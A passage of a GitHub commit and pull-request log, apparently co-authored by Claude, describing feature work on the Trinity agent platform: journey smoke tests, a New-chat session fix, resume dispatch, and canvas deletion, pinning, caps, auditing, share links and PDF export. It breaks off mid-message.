Claude Fable 5 <noreply@anthropic.com> Co-authored-by: Eugene Vyborov <eugene@beingluminous.com>
louisss1016
pushed a commit
to louisss1016/trinity
that referenced
this pull request
Sep 13, 2026
, Abilityai#2336) R1 — tests/journeys/ as a live-stack tier, wired as `run-full.sh --tier journeys`. Reuses the existing harness rather than building a second one: the per-tier verdict, the timeout, the venv pin and the skip audit all come for free, and `run_tier` made the wiring one line. Three rules the tier does not bend: * A journey FAILS, it does not skip. tests/conftest.py::created_agent calls pytest.skip when an agent will not start — reasonable there, and precisely the blind spot Abilityai#2336 exists to close: on 2026-08-14 five of six stopped agents could not be started and nothing went red. Here that IS the finding. * Preconditions are checked ONCE, loudly. An unreachable stack fails the tier with the URL it tried, not 40 confusing errors. * Nothing is touched that the tier did not create: every agent is pytest-ephemeral-journey-<hex> and torn down by that name, teardown is idempotent, and a crashed run leaves the tier re-runnable. Polling to a deadline is the only synchronisation primitive; `poll_until` raises naming the broken promise and how long it waited ("agent 'x' was created but never reached 'running' — waited 90s"), never a bare assert 200 == 500. R2 — .github/workflows/journey-smoke.yml, on every PR to dev, 30-minute bounded job whose timeout FAILS rather than passes, and which treats "collected nothing" as a failure (pytest exit 5) — the Abilityai#2029 class this gate is required to prevent. TWO THINGS STATED RATHER THAN GLOSSED: 1. AC Abilityai#2 wants a real chat turn with real output. That needs a provider key, and every PR-triggered workflow here is deliberately credential-free — pull_request exposes repository secrets to fork PRs while running the PR's own shell (integration-nightly.yml sets out the reasoning in full). So the J03 first-turn journey ships in the tier, runs on a developer's stack and in the nightly, and skips with an ALLOWLISTED reason otherwise. What gates every PR is the lifecycle journey — which is where the 08-14 regression actually was. Resolving AC Abilityai#2 properly needs a same-repo-only workflow with an environment approval, which is a separate decision. 2. AC Abilityai#3 (replay ecf1327, watch the gate go red) is NOT done. Local live verification was blocked: agent creation on my dev stack did not return within 200s and wedged the backend. The gate's own PR exercises the workflow for real, which is the honest place to prove it. Related to Abilityai#2335 Related to Abilityai#2336 Related to Abilityai#1958 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
louisss1016
pushed a commit
to louisss1016/trinity
that referenced
this pull request
Sep 13, 2026
…d slice)
Reported: pressing New chat in the Workspace drops you back into the existing
conversation with that agent. Decided at the 2026-08-21 weekly.
ONE VALUE CARRYING TWO MEANINGS. An absent `session_id` meant both "I don't know
which thread" and "I want a fresh one", and the platform resolved it as the
first, in both readers:
_resolve_session_id(..., None) -> resume the client's latest
get_history(..., None) -> return the most-recent thread
Both readings are RIGHT for the case they were written for — a deep link, a
refresh, an API caller that never held a session id — so neither could be
inverted. The intent had to become sayable: `new_thread` on the request,
`newChat` on the component, checked before the resume.
The frontend tell was an asymmetry: New chat with the agent you were ALREADY on
started fresh, while New chat with a different agent resumed. The watcher read a
changed agent as "load that agent's history" and called `fetchHistory(name,
null)`, discarding the `pendingSession = null` that `newChatWithAgent` had just
set to mean the opposite.
MOST OF ent#451 TURNED OUT TO BE BUILT. Recorded because the issue is
complexity-high and this PR is not:
* the data model already allows many sessions per (agent, client) — no UNIQUE
constraint, a `title` column, an index on
`(agent_name, client_email, last_message_at)`, and auto-titling. AC Abilityai#4's
"migrates cleanly" is nothing to migrate.
* AC Abilityai#2's list is the existing sidebar: titles, recency, starred lifted out,
search, per-agent avatars.
* AC Abilityai#3's landing rule is already decided and documented in
`ensure_thread_for_ask` — reuse the latest thread so asks do not accumulate
beside the conversation. UNCHANGED here, and pinned by a test so this cannot
move it silently. It matters MORE once several chats exist, not less.
So what was missing is AC Abilityai#1, and it is two bits rather than a data model.
Four properties:
* An explicit `session_id` WINS over the flag. A caller sending both contradicts
itself; the id is a fact, the flag an intent, and abandoning a named thread
would strand a turn meant for a conversation the caller could see.
* The ownership check runs first either way — the flag is never a route past it.
* BOTH turn entry points carry it. The Workspace uses the streaming path and
falls back to the synchronous one, so a flag honoured by only one brings the
bug back exactly when streaming fails.
* The intent is spent on adoption. The send guard already ANDs on "no session
yet", so a second turn was never going to open a third thread; clearing it in
`onSessionAdopted` keeps the two bits from disagreeing after a navigation.
Test doubles updated, not worked around: seven `_resolve_session_id` lambdas and
four `_fake_chat` stubs did not accept the new keyword. They take `**kw` now — a
stub that must be edited for every new parameter is a second signature — and one
hand-rolled `_Body` model double gained the field. All are stale stubs rather
than behaviour changes.
Verification: 392 passed across the portal/ent#286/Abilityai#287/Abilityai#358/Abilityai#429/Abilityai#430/Abilityai#451
selection; 1497 frontend unit tests. Mutation-checked: making the flag inert, and
letting it override an explicit session id, each turn the suite red. The full
backend suite exceeds a local foreground run and is left to CI.
Pre-existing and NOT from this branch: `test_ent457_portal_turn_kwargs` and
`test_both_portal_row_creation_sites_name_the_chat` fail on `dev` today; both are
fixed in Abilityai#2427.
Related to ent#451
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
louisss1016
pushed a commit
to louisss1016/trinity
that referenced
this pull request
Sep 13, 2026
…ent#430) Slice 5 of ent#364, and the gate: until now the client route recorded an answer and returned. The operator route called `spawn_resume_dispatch`; this one did not. So an ask addressed to a Workspace client — the entire point of ent#364/Abilityai#428/Abilityai#429 — was recorded, reached the agent's queue file in about three seconds, and re-triggered nothing. Measured on a live instance before this change: answered from the Workspace, `operator-queue.json` flipped to `responded` with the answer in under 3s, and no execution followed. Unblocked because ent#329 is in dev. WHAT THIS ADDS: one call. ent#430's body rules out the alternative — "a second dispatch surface for the same event is how the cost, trigger-label and loop-prevention questions get answered twice, differently" — so the per-agent opt-in, the idempotency key, the audit row and the failure handling all stay inside `maybe_dispatch_resume`. AC Abilityai#2 and AC Abilityai#3 are satisfied by REUSE rather than by re-implementation, and the tests assert the CALL for that reason. Four properties, each load-bearing: * Hung off the CAS WIN only, like the operator route. The 409 above already returned for a lost race, so reaching the dispatch means this answer is the one that landed — two people answering at once produce one resume. * `updated`, never `item`. The pre-answer read still says `pending`; a resume handed that row acts on an ask that does not yet carry its answer. Looks identical in a green test, which is why there is one for it. * The spawn is wrapped. It is fire-and-forget, but a raise ON THE CALLING LINE would still propagate, and a 500 after the CAS landed would tell the client their answer failed while it is committed and already on its way to the agent. The answer is the thing that must not be lost. * Abilityai#2376's choice validator runs first, so an answer that was never offered cannot spend. AC Abilityai#5 — `resume_requested` on the answer response, read from the SAME accessor the dispatch gates on, so the two cannot disagree about what is about to happen. It reports INTENT, not success: the dispatch is backgrounded, so at that moment the only honest claim is whether it will be attempted. Fails CLOSED — an unreadable flag claims nothing, because over-claiming is exactly the failure AC Abilityai#5 names ("the ask does not read as resolved while nothing happened"). RESIDUAL, stated rather than implied: a dispatch that fails AFTER this point surfaces as a FAILED execution row plus an `operator_resume_dispatch` audit entry (ent#329) — operator-visible, and a client cannot see either. The client half of AC Abilityai#5 is satisfied negatively for now: the ask surface says nothing about work starting, so it cannot mis-claim. `resume_requested` is the field a surface needs to say something true; consuming it is an ent#429 UI change and is deliberately not in this PR. The per-agent flag DEFAULT IS UNCHANGED (`operator_resume_enabled`, OFF, owner-only). "Turn the flag on" is an operator action per agent, not a code default: flipping it would hand every shared agent's client a spend button, which is the one thing AC Abilityai#3 rules out. Verification: 145 passed across the asks/ent#329/ent#364/Abilityai#428/Abilityai#429/Abilityai#2376 selection. Mutation-checked — removing the dispatch (4 red), passing the pre-answer row (1 red), and making the opt-in read fail open (1 red). Closes ent#430 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
vybe
pushed a commit
that referenced
this pull request
Sep 14, 2026
…ile (ent#553) (#2619) * feat(canvas): delete, pin, search and a stated bound for the canvas pile An agent that uses its canvas the way ent#438 intends accumulates dozens: one per report, per topic, per run. The Workspace could only ever ADD to that pile — the client-portal surface had no delete at all, the only ordering was "newest updated", and nothing bounded the table. Two decisions, both by operator ruling 2026-09-08, recorded because each had a plausible alternative: **Deleting is owner-or-admin.** The answer ent#548 gives for files — the owner deletes the shared artifact. This NARROWS the platform DELETE route, which accepted any user with agent access; safe because no UI called it, so no workflow depended on the wider gate. A canvas is one shared surface with no per-user copy, so a non-owner has no "hide it from my list" middle ground: per AC #2 they see no control at all rather than one that 403s. Agents keep clearing their own (`clear_canvas`, the #918 self-gate). **The bound is a per-agent CAP, not a retention window.** ent#438 recorded "no retention window" because the composite key bounds rows per canvas — but `canvas_id` is agent-chosen, so the COUNT was unbounded; the axis was missed, not decided. `CANVAS_MAX_PER_AGENT` (100, env-tunable) is checked inside `upsert_canvas`'s insert branch, in the same transaction as the INSERT, so it is not a check-then-act race. Updating an existing canvas is NEVER refused — a cap that froze updates would punish exactly the agent that reuses ids — and the refusal is a named 409 telling the agent to retire one, never an eviction: deleting a person's surfaces on a timer is the #1638 failure direction. Both surfaces resolve permission through `db.can_user_share_agent`, the same predicate `assert_agent_owner` uses, so Agent Detail and the Workspace cannot disagree about who owns an agent. The Workspace learns it from `PortalAgentCard.can_manage_canvases` — the portal's only capability channel (#2128), since a portal principal cannot read `/api/settings/feature-flags` — and it fails closed. `pinned` (dual-track: `agent_canvases_pinned` + Alembic 0058, NOT NULL DEFAULT 0, no backfill) is written only by the human pin route and is deliberately absent from every agent-facing tool: `audience` is the agent's decision about who may read, `pinned` is the reader's about what they see first, and an agent that could pin itself to the top would defeat the ordering. A pin survives the agent rewriting the canvas. Living with many is `CanvasPanel.vue`, shared by both surfaces (one rendering layer, per ent#475): search once the list passes six, a height-bounded strip so a long list does not cost the rail its other tabs, and a Manage mode giving each row its age, stale mark, pin and delete. Decidable rules are pure in `canvasUtils.js` — vitest runs `environment: 'node'` with no mount harness, so a rule inside the SFC is one no test can reach. Bulk delete is a POST, not a body-carrying DELETE (bodies on DELETE are permitted-but-unreliable and this one is not optional), declared above the parameterized routes on both routers (Invariant #4), and it reports the ids that EXISTED rather than the ids requested so "3 of 5 removed" is sayable. Three pre-existing guards failed and each was right to: `empty_canvas` was missing the new field (a real bug in this change, fixed), the self-gate guard needed to learn the new gate's name, and the positional-read guard needed its synthetic row extended — that one exists precisely because `_row_to_summary` reads by index. Tests: 20 new backend cases (cap refusal + update-at-cap, pin ordering and survival, bulk scoping, the permission matrix on both surfaces, route ordering, dual-track migration parity, and that the MCP tools cannot pin) and ~24 vitest cases for the pure rules. Verified against a real database: the cap refuses the 4th of 3, updates still succeed at the cap, a pin outranks recency and survives a rewrite, and bulk delete returns only the ids that existed. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): audit the single delete, cover the default canvas, document the lifecycle Closes the three acceptance criteria the first commit left open: * AC #1 asked for the deletion to be audited and only the BULK route was — the single-canvas route is the one a person actually clicks. Logged only when something was removed, since the route is idempotent and a repeat click would otherwise fill the trail with events where nothing happened. * AC #8: deleting the DEFAULT canvas is allowed, comes back empty on the next write, and frees a slot against the cap. `main` is the id both the MCP tools and the voice panel fall back to, so it is the one most likely to be deleted by accident and the one whose deletion must strand nobody. * AC #9: the user doc gains a "Removing canvases" section stating the permission rule, the cap, and that nothing is ever deleted to make room. Also records a latent pre-existing mismatch found while testing: `empty_canvas` returns None timestamps while `models.Canvas` requires strings, so `Canvas(**empty_canvas(...))` raises. Not live — its only caller declares no `response_model` — but adding one there would turn the voice teardown poll into a 500. Left as a comment where the next person to reach for that will meet it, rather than fixed out of scope. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * test(canvas): patch the cap where the live code reads it, not where the test imports it Two ent#553 tests passed in isolation and failed in a full-suite run: `test_the_cap_refuses_a_new_canvas_by_name` and `test_deleting_the_default_canvas_frees_a_slot_against_the_cap`. Order-dependence, not a defect in the feature. They patched `db.canvas.CANVAS_MAX_PER_AGENT` via a fresh `import db.canvas`. Some earlier test in the suite evicts that module from `sys.modules`, so the fresh import hands back a NEW module object while the live `db._canvas_ops` is still an instance of the OLD class — whose `upsert_canvas` reads the OLD module's globals. The patch lands somewhere nothing consults, the cap stays at its default of 100, and the "refuses the 4th of 3" assertions fail. `_set_cap` patches the bound method's own `__globals__`, which is whichever module dict the running code actually closes over — correct whether or not an eviction happened, so it does not depend on knowing which test pollutes. Same failure and same fix as #2589, where the identical shape bit `mark_stale_activities_failed`. Worth noting the class: a monkeypatch on a module attribute is only as good as the assumption that the live object came from that module object, and in a suite that evicts modules that assumption is not free. The feature is unchanged — this touches only the test file. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * fix(canvas): re-parent the pinned revision, and make the canvas cap reachable Two review items from #2619. **Alembic head fork (#2068 class).** `0058_agent_canvases_pinned` shared `down_revision = 0057` with #2608's `0058_portal_file_dismissals`, which has since landed on `dev` — two heads, and `alembic upgrade head` resolves its single target before applying anything, so EVERY revision merged since the fork stops arriving, not just one. Re-parented onto `0058_portal_file_dismissals` and renumbered to `0059` so the prefix keeps being a usable ordering cue; the id is not applied anywhere yet, so the rename costs nothing. `check_alembic_heads.py` reports 1 head. **`CANVAS_MAX_PER_AGENT` was inert (#1039 class).** The refusal message names the number, but the variable was read only from `os.getenv` in `models.py` and appeared in no compose file — so an operator following the refusal's own advice would raise a lever that never reaches the container. Wired into `docker-compose.yml`, `.prod.yml` and `.hosted.yml` (the last two launch standalone, no base merge / no `env_file`) plus `.env.example`. Related to #2619 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * chore(design-system): re-freeze CanvasPanel's raw-gray ceiling for ent#553 The raw-colour ratchet became enforceable on dev while this branch was open (#2605/#2609), and the merge brings it here: this PR's delete/pin/ search chrome takes `components/canvas/CanvasPanel.vue` from 25 to 46 `raw_gray`, so `tests/unit/rawColorRatchet.spec.js` fails the frontend build. That growth is the honest kind. The design-system contract SPELLS the neutral ink ladder as `gray-N` — surfaces gray-50/100/800/900, borders gray-200/300/700/800, ink gray-300/400/500/600 — and there is no semantic token for a neutral, which is exactly why the spec's own comment says gray is ratcheted but never held to zero for new files. The rule it does hold new code to is `raw_nongray`, and this file stays at **0**. Re-frozen in its OWN commit with the increase named in the baseline's `refrozen` block, which is what the ratchet's error message asks for — not absorbed silently into the feature diff. The entry is hand-edited rather than regenerated so #2605's provenance block survives; no other file's ceiling moves (verified: nothing grew, nothing is stale, no un-baselined file carries `raw_nongray`). Related to #553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * fix(canvas): state the bound, audit the Workspace writes, gate Manage on ownership (ent#553) Three review findings, all in the same direction — the backend was right and the user-facing half did not arrive — plus the two smaller ones. 1. **The stated bound now reaches the user.** `canvasLimit` was a `ref(0)` nothing ever assigned, so `canvasHeadroom(n, 0)` returned `{label: null}` and the early warning could not render at any count. The ceiling rides `GET /api/settings/feature-flags` as `canvas_max_per_agent` — the established home for a value the browser needs to render a surface, and where `platform_default_model` / `install_source` already set the precedent for a non-boolean. Not a new route (Invariant #13 would owe three surfaces for one integer) and not an envelope around the canvas list (the MCP tool and the Workspace both read it as a bare array). It is a CONSTANT, not per-agent state, and the client already holds the count. `0` still means "not told" and still renders nothing, so an older backend is unchanged. 2. **The Workspace canvas writes are audited.** The three portal routes recorded nothing while their operator twins have logged since they shipped, and `docs/user-docs/agents/agent-canvas.md` tells users deletion is audited — so the claim was false for exactly the client-facing surface. `_audit_canvas_change` is the shared helper; the actor is `actor_email` (the documented #848 inline-auth path) rather than a fabricated `User`, which is honest because `_require_canvas_manager` is platform-only and owner-or-admin, so a real Trinity user is always behind it. Ids and counts only (G-04). The three routes become `async def` to await it, matching their operator twins, which already call the same sync db functions from an async handler. Pinning is audited too, on BOTH surfaces — the operator route was the one recording nothing. A pin decides which canvas an entire roster sees first, so it is an administrative act on a shared surface, not a per-viewer preference. 3. **`canManage` comes from the parent.** It was hardcoded `true` on the argument that the server decides. It does — but a merely-shared user was then shown Manage → Delete / Pin and got a 403, which is the failing-control problem `can_manage_canvases` exists to prevent on the Workspace. Agent Detail passes `agent.can_share`, the same predicate `ReportsPanel` five lines above already reads and the same one `_gate_human_removal` enforces. The prop defaults FALSE, so a caller that forgets it hides an affordance rather than offering one that refuses. 4. **`get_agent_card` resolves `can_manage_canvases`.** It omitted it, so the same owner read `true` in the sidebar and `false` on the agent's own page — the disagreement #2160's own docstring says that function exists to prevent. 5. **An agent genuinely cannot pin its own canvas now.** The user doc said so; `_gate_human_removal` allowed it (right for delete — an agent tidying up after itself — and wrong for pin), and "no MCP tool exposes it" is a property of the client, not of the route. `_gate_pin` is humans-only, which makes the documented sentence true rather than aspirational. Tests: the audit guard now walks the portal routes as well as `routers.canvas` (it only ever inspected the latter, which is why three unaudited routes passed it), plus pin-audit parity, the humans-only pin gate beside the still-permitted agent self-delete, the feature-flags constant being the same object the refusal is raised from, the agent-card/roster agreement, and four frontend wiring cases. 1025 backend / 2538 frontend tests green. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * fix(canvas): the Workspace audit names the operator, not the platform (ent#553) Found re-reviewing my own audit fix. Adding the rows was right; the attribution was wrong, and a row that lands under the wrong actor is worse than the missing row it replaced — nothing fails, so the wrong answer is believed. `_audit_canvas_change` passed `actor_email` only. But `platform_audit_service._resolve_actor` derives `actor_type` from `actor_user` / `actor_agent_name` / `mcp_scope` / `mcp_key_id` and never from the email, so an email-only call falls through to its last branch: _resolve_actor(None, None, None, None) -> ("system", "trinity-system", None) So every Workspace canvas delete and pin was recorded as `actor_type="system"`, `actor_id="trinity-system"` — a named operator's action attributed to the platform, invisible to any `actor_type=user` query and to the audit UI's per-actor filter. Verified against the real resolver, not by reading the call. The `actor_email`-only path I cited (#848 inline auth) is right where the caller genuinely has no `users` row. That is not this route: `_require_canvas_manager` is platform-only and resolves through `db.can_user_share_agent`, so a row exists by construction. It now resolves that row and passes `actor_user`, producing the same `("user", <id>, <email>)` shape the operator twin has always written — which is the point, since auditing the two surfaces differently buys little more than auditing one of them. Best-effort by construction: the action has already happened, so a lookup that raises or misses must not drop the row. It falls back to the email-only call with a WARNING, since a miss would mean the gate admitted someone the user table does not know. Tests: the regression is pinned against the REAL `_resolve_actor` (both the shape the fix must not return to and the shape it produces now), plus a source guard that the helper resolves a row, passes `actor_user`, keeps the email as a fallback and cannot raise. Removing `actor_user=` reds it. 31 passed on the ent#553 file; 953 across canvas / portal / audit. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * test(canvas): resolve CanvasLimitExceeded from the live method's globals The two cap tests imported the class from `db.canvas` while `_set_cap` already patches the cap through `upsert_canvas.__globals__` — because an earlier test can evict and re-import the module. The same eviction gives the test a different class object than the one the live code raises, and `pytest.raises` then reports the correct refusal as an unexpected exception. Seen once in a full local run after the dev merge (both tests pass in isolation and under CI's three seeds); resolve the class from the same globals the cap comes from. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): keep the selector visible when a search narrows to one match (ent#553 review) `CanvasPanel.vue` gated the chip strip on `visible.length > 1 || manage`, where `visible` is the FILTERED list. Searching down to exactly one canvas hid the strip while the previously selected canvas stayed on screen, and the auto-select watcher — keyed off the unfiltered `props.canvases` — never selected the match. Proven by execution: 7 canvases, query "Topic 3" → strip false, no-match message false. The one canvas the user just searched for was unreachable. Fix: - `canvasSelectorVisible({visible, manage, query})` — with a query, any hit shows the strip; without one, a single canvas is no choice (unchanged). - `canvasAutoSelect(visible, selectedId, query)` — while a query is active the selection follows the matches; no-op with no query or when the current selection already matches. - `CanvasPanel.vue` consumes both: `v-if="selectorVisible"` and a watcher on `[visible, query]`. Tests: - `canvasUtils.spec.js`: the two pure rules. - `canvasPanelSelectorGate.spec.js`: slices the `selectorVisible` computed out of the SFC and RUNS it against the ejection's numbers; pins that the template reads the computed, not a re-derived length test, and that the watcher calls `canvasAutoSelect`. - `test_ent553_canvas_lifecycle.py`: the second review ask — the per-agent cap reaches the wire as a 409 through the real router → service → db chain (only the Redis rate limiter stubbed), names the remedy, and the same PUT against an existing id stays an update. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): the search box outlives a shrink below the threshold (ent#553 review) `query` has exactly one writer — the search input's `v-model` — and that input was `v-if="showSearch"` with `showSearch = ordered.length > 6`. Seven canvases, type "Topic 3", delete the one match: six canvases, the box unmounts, `visible` still filters on the stale query, the strip collapses, and the panel says *No canvas matches "Topic 3"* with no control left to clear it. Every remaining canvas is unreachable via the chips until navigation. Also reachable with no operator action: the agent's own `clear_canvas` plus a rail refresh while a query is typed. The rule is pure — `canvasSearchVisible(count, threshold, query)` — and keeps the box while a query is active regardless of the count: the typed intent survives the shrink, and the no-match line keeps the one control that clears it. Resetting `query` when the box would flip off was the other option and was rejected: it erases a search the user was mid-way through because a sibling canvas went away. The gate spec that pinned the previous ejection drove `visible`/`query` in isolation from `showSearch`, which is why it could not see this one. It now slices the real `showSearch` computed out of the SFC and RUNS it against the ejection's own numbers (7 → 6 with "Topic 3" typed → box stays; 6 with no query → box gone), and pins that the input is gated on that computed and is the sole writer of `query`. Mutation-checked: reverting the gate to the old length test reds three cases. Four mechanical items from the same review ride along: - requirements/core-agent.md: the ent#438 "deliberately no retention window: bounded by construction" line now says why that reasoning was wrong (rows are bounded per canvas, the count was not) and what bounds it instead; FR-18..FR-22 record delete / bulk / cap / pin / search, which had no requirements entries at all. - raw-color-baseline.json: the `_ent553_note` naming CanvasPanel.vue's 25 → 46 raw_gray was added in 2794388 and dropped by the dev merge aa248f7; re-added so the growth is named in the file. - routers/canvas.py `# mcp:` header now says pin and bulk-delete are unexposed on purpose, and why — Invariant #13's deliberate-vs-forgotten signal. - feature-flows/agent-canvas.md: the two search-state rules and the defect class they close. Verified: vitest 2696 passed (121 files); canvas backend suites 101 passed; raw-colour ratchet and loading-gate ratchet unchanged. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RS8FBA7oEtAAv6GamZKong --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
vybe
added a commit
that referenced
this pull request
Sep 14, 2026
…#554) (#2623) * feat(canvas): delete, pin, search and a stated bound for the canvas pile An agent that uses its canvas the way ent#438 intends accumulates dozens: one per report, per topic, per run. The Workspace could only ever ADD to that pile — the client-portal surface had no delete at all, the only ordering was "newest updated", and nothing bounded the table. Two decisions, both by operator ruling 2026-09-08, recorded because each had a plausible alternative: **Deleting is owner-or-admin.** The answer ent#548 gives for files — the owner deletes the shared artifact. This NARROWS the platform DELETE route, which accepted any user with agent access; safe because no UI called it, so no workflow depended on the wider gate. A canvas is one shared surface with no per-user copy, so a non-owner has no "hide it from my list" middle ground: per AC #2 they see no control at all rather than one that 403s. Agents keep clearing their own (`clear_canvas`, the #918 self-gate). **The bound is a per-agent CAP, not a retention window.** ent#438 recorded "no retention window" because the composite key bounds rows per canvas — but `canvas_id` is agent-chosen, so the COUNT was unbounded; the axis was missed, not decided. `CANVAS_MAX_PER_AGENT` (100, env-tunable) is checked inside `upsert_canvas`'s insert branch, in the same transaction as the INSERT, so it is not a check-then-act race. Updating an existing canvas is NEVER refused — a cap that froze updates would punish exactly the agent that reuses ids — and the refusal is a named 409 telling the agent to retire one, never an eviction: deleting a person's surfaces on a timer is the #1638 failure direction. Both surfaces resolve permission through `db.can_user_share_agent`, the same predicate `assert_agent_owner` uses, so Agent Detail and the Workspace cannot disagree about who owns an agent. The Workspace learns it from `PortalAgentCard.can_manage_canvases` — the portal's only capability channel (#2128), since a portal principal cannot read `/api/settings/feature-flags` — and it fails closed. `pinned` (dual-track: `agent_canvases_pinned` + Alembic 0058, NOT NULL DEFAULT 0, no backfill) is written only by the human pin route and is deliberately absent from every agent-facing tool: `audience` is the agent's decision about who may read, `pinned` is the reader's about what they see first, and an agent that could pin itself to the top would defeat the ordering. A pin survives the agent rewriting the canvas. Living with many is `CanvasPanel.vue`, shared by both surfaces (one rendering layer, per ent#475): search once the list passes six, a height-bounded strip so a long list does not cost the rail its other tabs, and a Manage mode giving each row its age, stale mark, pin and delete. Decidable rules are pure in `canvasUtils.js` — vitest runs `environment: 'node'` with no mount harness, so a rule inside the SFC is one no test can reach. Bulk delete is a POST, not a body-carrying DELETE (bodies on DELETE are permitted-but-unreliable and this one is not optional), declared above the parameterized routes on both routers (Invariant #4), and it reports the ids that EXISTED rather than the ids requested so "3 of 5 removed" is sayable. Three pre-existing guards failed and each was right to: `empty_canvas` was missing the new field (a real bug in this change, fixed), the self-gate guard needed to learn the new gate's name, and the positional-read guard needed its synthetic row extended — that one exists precisely because `_row_to_summary` reads by index. Tests: 20 new backend cases (cap refusal + update-at-cap, pin ordering and survival, bulk scoping, the permission matrix on both surfaces, route ordering, dual-track migration parity, and that the MCP tools cannot pin) and ~24 vitest cases for the pure rules. Verified against a real database: the cap refuses the 4th of 3, updates still succeed at the cap, a pin outranks recency and survives a rewrite, and bulk delete returns only the ids that existed. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): audit the single delete, cover the default canvas, document the lifecycle Closes the three acceptance criteria the first commit left open: * AC #1 asked for the deletion to be audited and only the BULK route was — the single-canvas route is the one a person actually clicks. Logged only when something was removed, since the route is idempotent and a repeat click would otherwise fill the trail with events where nothing happened. * AC #8: deleting the DEFAULT canvas is allowed, comes back empty on the next write, and frees a slot against the cap. `main` is the id both the MCP tools and the voice panel fall back to, so it is the one most likely to be deleted by accident and the one whose deletion must strand nobody. * AC #9: the user doc gains a "Removing canvases" section stating the permission rule, the cap, and that nothing is ever deleted to make room. Also records a latent pre-existing mismatch found while testing: `empty_canvas` returns None timestamps while `models.Canvas` requires strings, so `Canvas(**empty_canvas(...))` raises. Not live — its only caller declares no `response_model` — but adding one there would turn the voice teardown poll into a 500. Left as a comment where the next person to reach for that will meet it, rather than fixed out of scope. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): share a canvas at a link, and download it as a PDF A canvas is where an agent's real output lives, and until now it could not leave the Workspace: no share link, no export, nothing in the tree that renders a PDF. **Sharing never widens the audience by accident.** Two scopes, and the default is the narrow one: `authorized` makes the link a DEEP link — opening it requires signing in and the server re-checks `can_user_access_agent`, so it reaches "the people who could already see it" and nobody else. `public` is an explicit, separate, audited choice. Failing narrow is enforced in five independent places (column default, Pydantic default, `normalize_scope`'s fallback, the order of `SHARE_SCOPES`, the radio the dialog preselects), because a link that reaches further than the sharer understood is the one failure this feature must not have. **`agent_canvas_shares` is deliberately its own table.** `agent_public_links` has a `type` column that looks purpose-built for this, and reusing it would have been a real vulnerability: nothing in that table's read path filters on type — `get_public_link_by_token`, `is_link_valid` and `routers/public.py::_validate_public_link` all resolve a token whatever it is — so a canvas row there would ALSO be a working public-CHAT token, and anyone sent a canvas could talk to the agent. (`type='site'` is the same trap already laid; it is unexploited only because nothing creates those rows today.) A separate table makes the isolation structural instead of dependent on every consumer remembering to check. **Live, and it says so** (AC #3, operator ruling): the link renders the canvas as it is now, carrying its `updated_at` and stale mark, and the page states it is not a copy taken at share time. That follows ent#438's model — a canvas is a surface an agent keeps current — and means a share stores nothing. The cost is drift after sharing; the mitigation is revocation, not freezing. **Revocation keeps the row.** `revoked_at` is stamped, never deleted, because a revoked link has to be able to SAY it was revoked (AC #2), which it cannot do once the row is gone. The status vocabulary splits along disclosure: `revoked` and `expired` are returned only for a token that MATCHED a row — whoever holds such a link was already told the canvas exists — while an unknown token and a canvas deleted out from under a link both collapse into one `not_found`, so a stranger guessing tokens learns nothing from the difference. An unparseable `expires_at` reads as expired: a lifetime we cannot read is one we cannot promise is live. **PDF is print-first**, the path the issue recommended: a print stylesheet plus the browser's own PDF. No headless service to run, and — the deciding reason — no second renderer to keep in step with `CanvasBlock`. A server-side renderer was the stated fallback and was not needed: pagination (`break-inside: avoid` per block) and fidelity both fall out of the same markup the screen uses. `CanvasDocument.vue` is the one printable form, rendered by both the shared page and every authenticated surface, so AC #7's "identical from every canvas surface" is true by construction rather than by three surfaces agreeing. It carries title, agent and generation date, forces the light rendering under `@media print`, and when `window.print` is unavailable the control says so and the share link still works. `ent#425` (hosted deliverable pages) is still open, so per this issue's own boundary rule this ships the narrower share link and #425 adopts it later. Verified against a real database, not stubs: the full resolution matrix (public/anonymous → ok, authorized/anonymous → sign-in, authorized/owner → ok, authorized/stranger → refused, unknown → not-found, revoked, expired, unparseable expiry → expired, canvas deleted → not-found), views counted only on a successful render, cross-agent revoke refused, and a second revoke keeping the first revocation time. 23 backend tests, 20 vitest cases for the pure rules. Related to Abilityai/trinity-enterprise#554 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * test(canvas): patch the cap where the 